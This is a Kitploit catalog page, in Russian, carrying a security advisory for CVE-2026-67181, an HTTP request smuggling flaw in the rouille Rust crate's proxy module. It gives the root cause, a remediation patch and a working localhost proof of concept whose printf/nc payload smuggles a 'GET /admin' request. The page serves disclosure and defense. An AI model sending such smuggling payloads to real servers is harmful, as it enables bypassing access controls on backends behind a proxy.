Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille- — Security Advisory: HTTP Request Smuggling via Transfer-Encoding Desynchronization (rouille) | Kitploit
Инструменты/GitHubGitHub/theopaid/cve-2026-67181-http-request-smuggling-via-transfer-encoding-desynchronization-rouille-
Vulnerability AnalysisExploitationWeb Application ExploitationWeb Security
GitHubtheopaid/cve-2026-67181-http-request-smuggling-via-transfer-encoding-desynchronization-rouille-

CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille-

Security Advisory: HTTP Request Smuggling via Transfer-Encoding Desynchronization (rouille)

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
23 дней назадЕщё не проверено

Уведомление о безопасности: HTTP Request Smuggling через десинхронизацию Transfer-Encoding (rouille)

Присвоенный CVE ID: CVE-2026-67181

Краткое описание

rouille::proxy::proxy передаёт заголовок Transfer-Encoding клиента на бэкенд без изменений, но записывает тело запроса, которое tiny_http уже декодировал из chunked. Он никогда не отправляет собственный Content-Length. Бэкенду сообщается, что тело закодировано chunked, а передаются байты, которые не являются chunked, поэтому не rouille, а клиент определяет, где, по мнению бэкенда, заканчивается тело.

Затронутые версии

URL репозитория: https://github.com/tomaka/rouille

Первая затронутая версия0.3.3 (2016-12-03), релиз, в котором появился src/proxy.rs
Последняя затронутая версия3.6.2 (2023-04-24), текущий релиз
Не затронуты0.3.2 и более ранние, в которых нет модуля proxy
Исправлено вна момент написания исправленная версия отсутствует

src/proxy.rs побайтово идентичен между тегом 3.6.2 и текущим master. Затронуты только приложения, вызывающие proxy::proxy или proxy::full_proxy.

Серьёзность

CWE-444 (несогласованная интерпретация HTTP-запросов).

Базовая оценка CVSS 4.0 — 6.3 (средний) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Модель угроз

Удалённый неаутентифицированный клиент, отправляющий сырой HTTP в приложение rouille, которое действует как обратный прокси. Учётные данные или взаимодействие с пользователем не требуются.

Воздействие зависит от бэкенда. Бэкенды, которые используют конвейеризацию независимо от Connection: close, а также любые промежуточные компоненты с пулом соединений между rouille и источником, будут обрабатывать контрабандный запрос. Бэкенды, соблюдающие Connection: close, всё равно получат тело запроса, отличающееся и от того, что отправил клиент, и от того, что увидел rouille.

Корневая причина

tiny_http декодирует chunked всякий раз, когда присутствует любой заголовок Transfer-Encoding, и отбрасывает Content-Length.

tiny_http-0.12.0/src/request.rs, строки 149–159:

root@kitploit:~
149      // finding the content-length header
150      let content_length = if transfer_encoding.is_some() {
151          // if transfer-encoding is specified, the Content-Length
152          // header must be ignored (RFC2616 #4.4)
153          None
154      } else {

tiny_http-0.12.0/src/request.rs, строки 218–221:

root@kitploit:~
218      } else if transfer_encoding.is_some() {
219          // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220          // over the message (RFC2616 #3.6)
221          Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>

Затем rouille/src/proxy.rs передаёт все заголовки, кроме Connection, и копирует декодированное тело. Строки 167–174:

root@kitploit:~
167          if header == "Connection" {
168              continue;
169          }
170  
171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172      }
173      socket.write_all(b"Connection: close\r\n\r\n")?;
174      io::copy(&mut data, &mut socket)?;

Заголовок клиента Transfer-Encoding: chunked сохраняется на строке 171. Строка 174 записывает plaintext, который создал Decoder. Content-Length не записывается никогда, поэтому бэкенду не на что больше опираться при определении границ, и он применяет chunked-разбор к plaintext, выбранному атакующим.

Доказательство концепции

Шаг 1. Запустите простой слушатель на порту 8001, который будет выступать в роли бэкенда и показывать байты, отправляемые rouille.

root@kitploit:~
nc -l 127.0.0.1 8001 | cat -v

Шаг 2. Запустите фронтенд rouille на порту 8000.

root@kitploit:~
use rouille::proxy;

fn main() {
    rouille::start_server("127.0.0.1:8000", |request| {
        proxy::full_proxy(request, proxy::ProxyConfig {
            addr: "127.0.0.1:8001", replace_host: None,
        }).unwrap()
    });
}

Шаг 3. Отправьте корректно закодированный chunked-запрос, декодированное тело которого само является chunked-потоком, немедленно завершающимся, а затем второй запрос. Единственный чанк имеет длину 0x3d = 61 байт.

root@kitploit:~
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000

Результат. Слушатель из шага 1 показывает, что rouille объявляет chunked-кадрирование, а затем отправляет plaintext:

root@kitploit:~
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close

0

GET /admin HTTP/1.1
Host: x
X-Smuggled: yes

Бэкенд, соблюдающий Transfer-Encoding: chunked, читает строку размера чанка 0, заключает, что тело пустое, и разбирает оставшиеся 56 байт как новый запрос.

Воздействие

Представление бэкенда о теле запроса отличается и от байтов, отправленных клиентом, и от байтов, прочитанных rouille. Любой вышестоящий компонент, который журналирует, аудирует или зеркалирует тело, записывает нечто иное, чем то, на что опирался бэкенд.

Если бэкенд использует конвейеризацию, несмотря на Connection: close, или между rouille и источником находится промежуточный компонент с пулом соединений, хвостовые байты становятся вторым запросом с методом и путём, выбранными атакующим.

Заголовок Content-Length клиента также передаётся дальше, даже несмотря на то, что tiny_http его проигнорировал, поэтому бэкенд, который предпочитает Content-Length поверх Transfer-Encoding, напрямую получает десинхронизацию CL.TE.

Устранение

Не передавайте заголовки кадрирования, описывающие тело, которое rouille уже декодировал. В src/proxy.rs расширьте пропуск на строке 167:

root@kitploit:~
if header.eq_ignore_ascii_case("Connection")
    || header.eq_ignore_ascii_case("Transfer-Encoding")
    || header.eq_ignore_ascii_case("Content-Length")
{
    continue;
}

Затем отправьте кадрирование, соответствующее реально записываемым данным: буферизуйте тело и передайте точный Content-Length либо заново разбейте его на чанки и сами отправьте Transfer-Encoding: chunked, перед завершающими \r\n\r\n на строке 173.

Скачать инструмент